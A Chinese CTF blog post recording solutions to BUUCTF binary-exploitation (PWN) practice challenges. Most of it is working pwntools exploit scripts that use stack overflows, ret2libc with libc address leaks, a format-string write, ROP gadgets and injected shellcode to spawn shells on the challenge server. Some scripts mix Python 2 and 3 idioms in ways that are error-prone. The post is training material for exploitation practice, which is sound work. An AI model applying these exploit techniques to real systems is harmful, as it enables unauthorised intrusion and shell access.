zoukankan      html  css  js  c++  java
  • BUUCTF 刷题记录 PWN

    1.nc

    p = remote("node4.buuoj.cn",28085)

    nc node4.buuoj.cn 28085

    构造payload时:

    使用p64()时报错:TypeError: can only concatenate str (not “bytes”) to str

    解决:

    在后面加上 decode(‘unicode_escape’)

    如:

    p64(0x00400596).decode('unicode_escape')

    2.rip

    最简单的栈溢出

    https://www.buryia.top/2021/01/25/CTF/BUU/buu-pwn/

    3.warmup_csaw_2016

    检查过后确认是没有任何保护机制的 所以f5查看

    看到gets 栈溢出

    然后看到cat flag在哪个位置

    确认了flag的地址 再确定溢出大小

    使用 cyclic 工具先生成 200 个字符用于之后的输入

    gdb 打开程序 r 开始运行,在输入点将 cyclic 生成的 200 个字符复制进去

    此时程序会因为栈溢出而使返回地址出现错误停下来,汇编代码会停在 ret 位置

    记录此时栈顶的前四个字符

    退出 gdb,继续使用 cyclic 工具来计算具体需要填充的字符数

    得到了结果:需要填充 72 个字符

    from pwn import *

    p = remote("node4.buuoj.cn",26951)

    payload = 'a'*72 + p64(0x40060d) .decode('unicode_escape')#fun函数位置为0x401186

    p.sendline(payload)

    p.interactive()

    4.ciscn_2019_n_1 1

    64 位程序,有 NX 保护,堆栈内容不可执行

    from pwn import *

    p = remote("node4.buuoj.cn",29529)

    payload = 'I'*20+ 'a' *4+p32(0x08048F0D) .decode('unicode_escape')

    p.sendline(payload)

    p.interactive()

    5.jarvisoj_level0

    from pwn import *

    p = remote("node4.buuoj.cn",29661)

    payload = 'a'*(0x80+8)+p64(0x400596) .decode('unicode_escape')

    p.sendline(payload)

    p.interactive()

    7 ciscn_2019_c_1

    可以了解到的是,在 gets 获取输入后会对字符串进行一个 xor(异或)操作
    

    初步的思路是先在本地进行一次 xor 异或,再进行发送,这样的话两次异或就会将字符串恢复成想要的样子

    (在查 writeup 的时候看到其他师傅有一种骚操作:payload 第一个字符写成’\0’来绕过加密函数…… 注意有一个 strlen 函数)

    gets 的栈溢出意味着溢出内容可以很大很大,考虑直接用 puts 函数泄漏 puts 函数的 got 表,再用 LibcSearcher 进行查找

    比较坑的点在最后一个 payload,此时 system 函数和 /bin/sh 的地址已经得到了,直接利用即可,但因为在 ubuntu18 上,有栈对齐这个问题…

    则需要用 ret 去尝试进行栈对齐(本地 n 次可以,远程 n 次失败…)

    额外提醒一个点,bss 不可执行

    ┌──(rootkali)-[/home/dys/桌面]

    └─# ROPgadget --binary ciscn_2019_c_1 | grep "pop rdi" 1 ⨯

    0x0000000000400c83 : pop rdi ; ret

    https://www.cnblogs.com/chrysanthemum/p/12045330.html

    [第五空间2019 决赛]PWN5

    https://blog.csdn.net/hahahaboooo/article/details/117046925

    from pwn import *

    context.log_level = "debug"

    r = remote("node4.buuoj.cn", 25837)

    bss = 0x0804C044

    payload = p32(bss) + b'%10$n'

    r.recvuntil("your name:")

    r.sendline(payload)

    r.recvuntil("Hello,")

    r.recvuntil("your passwd:")

    r.send('4')

    r.interactive()

    [OGeek2019]babyrop

    https://www.cnblogs.com/gaonuoqi/p/12366595.html

    浏览程序可以看到函数中有一部分会将我们的输入与随机数进行对比,但是在之前有一个 strlen,payload 首字符填充’\0’就可以绕过

    绕过后就有一个栈溢出了,libc 题目也给了,打印一个 got 算一下 libc 的偏移就可以直接获取 shell 了

    from pwn import *

    from LibcSearcher import *

    context.log_level = 'debug'

    r = remote("node4.buuoj.cn", 29939)

    r = process('./pwn', env={"LD_PRELOAD":"./libc-2.23.so"})

    elf = ELF("./pwn")

    libc = ELF("./libc-2.23.so")

    main = 0x08048825

    write_plt = elf.plt['write']

    read_got = elf.got['read']

    payload = '\x00' + '\xff'*10

    r.send(payload)

    r.recvuntil("Correct\n")

    payload = 'A'*(0XE7+4)+ p32(write_plt)+ p32(main)+ p32(1)+ p32(read_got)+ p32(4)

    r.send(payload)

    read_addr = u32(r.recv())

    log.success("read_addr => {}".format(read_addr))

    payload = '\x00' + '\xff'*10

    r.send(payload)

    r.recvuntil("Correct\n")

    base = read_addr - libc.symbols['read']

    sys_addr = base + libc.symbols['system']

    bin_addr = base + libc.search("/bin/sh").next()

    payload = 'a'*(0XE7+4)+ p32(sys_addr)+ 'aaaa'+ p32(bin_addr)

    r.send(payload)

    r.interactive()

    ciscn_2019_n_8

    直接用pwntools的ELF模块

    elf.system()

    from pwn import *

    r = remote('node4.buuoj.cn',25147)

    bin_sh = 0x804a024

    elf=ELF('./level2')

    system_addr = elf.sym['system']

    payload = 'a'*140+p32(system_addr).decode('unicode_escape')+ 'aaaa' +p32(bin_sh).decode('unicode_escape')

    r.sendlineafter('Input:',payload)

    r.interactive()

    get_started_3dsctf_2016

    是判断调用这个函数时候的参数,那么我们可以不可以将返回地址溢出成带参数的呢?

    大概就是这么布局:'a'*offset + 'ebp' + get_flag + get_flag的返回地址 + 参数1 + 参数2

    bjdctf_2020_babystack

    看到/bin/sh双击跟进,ctrl+x找到了后门函数,shell_addr=0x4006e6

    from pwn import *

    r = remote('node4.buuoj.cn',28445)

    r.recvuntil("[+]Please input the length of your name:")

    r.sendline("50")

    r.recvuntil("[+]What's u name?")

    r.recvuntil("Qual a palavrinha magica? ")

    payload = 'a'*24+p64(0x4006e6).decode('unicode_escape')

    r.sendline(payload)

    r.interactive()

    not_the_same_3dsctf_2016

    https://blog.csdn.net/l2645470582_/article/details/121214866

    from pwn import *

    r = remote('node4.buuoj.cn',25260)

    door = 0x080489A0

    write = 0x0806E270

    flag = 0x080ECA2D

    payload = 'a'*(45)

    payload += p32(door).decode('unicode_escape')

    payload += p32(write) .decode('unicode_escape')+ 'aaaa' + p32(1) .decode('unicode_escape')+ p32(flag) .decode('unicode_escape')+ p32(0xffff).decode('unicode_escape')

    r.sendline(payload)

    r.interactive()

    [HarekazeCTF2019]baby_rop

    rop

    pop

    https://www.cnblogs.com/xlrp/p/14273707.html

    ┌──(rootkali)-[/home/dys/桌面]

    └─# ROPgadget --binary babyrop |grep "pop rdi" 1 ⨯

    0x0000000000400683 : pop rdi ; ret

    jarvisoj_level2_x64

    64位先将binsh这个参数放入,rdi寄存器中.紧接着返回并执行system函数

    from pwn import *

    r = remote('node4.buuoj.cn',27567)

    payload='a'*(128+8)+p64(0x04006b3).decode('unicode_escape')+p64(0x600A90).decode('unicode_escape')+p64(0x4004C0).decode('unicode_escape')

    r.sendline(payload)

    r.interactive()

    ciscn_2019_n_5

    利用过程

    利用第一个输入点,往name参数里写入shellcode

    context(arch='amd64',os='linux') #用来导入pwntools模块

    shellcode=asm(shellcraft.sh()) #利用pwntools模块自动生成shellcode

    r.sendlineafter('tell me your name',shellcode) #往name中写入shellcode

    利用第二个输入点,让v4溢出到name参数地址,去执行shellcode拿到shell

    payload='a'*0x28+p64(0x601080) #让v4溢出到name参数地址

    r.sendlineafter('What do you want to say to me?',payload)

    exp

    from pwn import*

    r=remote('node3.buuoj.cn',27785)

    context(arch='amd64',os='linux')

    shellcode=asm(shellcraft.sh())

    r.sendlineafter('tell me your name',shellcode)

    payload='a'*0x28+p64(0x601080)

    r.sendlineafter('What do you want to say to me?',payload)

    r.interactive()

    from pwn import *

    r = remote('node4.buuoj.cn',29610)

    bss = 0x0000000000601080

    shell = asm(shellcraft.amd64.linux.sh(), arch = 'amd64')

    payload = 'a'*(0x20+8) + p64(bss).decode('unicode_escape')

    r.recvuntil("name")

    r.sendline(shell)

    r.recvuntil("me?")

    r.sendline(payload)

    r.interactive()

    铁人三项(第五赛区)_2018_rop

    https://blog.csdn.net/mcmuyanga/article/details/108939218

    泄露libc版本
    
    这边提一下write函数的原型
    

    参数说明:

    fd:是文件描述符(write所对应的是写,即就是1)

    buf:通常是一个字符串,需要写入的字符串

    count:是每次写入的字节数

    payload = 'a'*(0x88+4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)

    这边解释一下第一个payload

    首先填充‘a’*(0x88+4)造成溢出,覆盖到返回地址,返回地址填上write函数的plt地址来调用write函数,之后跟上main函数地址(我们要将程序程序重新执行一遍,再次利用输入点来进构造rop)

    p32(0)+p32(write_addr)+p32(4)是在设置write函数的参数,对应函数原型看一下,32位程序是4位,所以这边写的4,对应的64位程序是8位

    ————————————————

    libc = LibcSearcher('puts',putsaddr)

    libc_base = putsaddr - libc.dump('puts') #算出libc基地址

    system = libc_base+libc.dump('system') #算出各函数的真实地址

    bins = libc_base+libc.dump('str_bin_sh')

  • 相关阅读:
    BZOJ 1191 HNOI2006 超级英雄hero
    BZOJ 2442 Usaco2011 Open 修建草坪
    BZOJ 1812 IOI 2005 riv
    OJ 1159 holiday
    BZOJ 1491 NOI 2007 社交网络
    NOIP2014 D1 T3
    BZOJ 2423 HAOI 2010 最长公共子序列
    LCA模板
    NOIP 2015 D1T2信息传递
    数据结构
  • 原文地址:https://www.cnblogs.com/socialbiao/p/15664468.html
Copyright © 2011-2022 走看看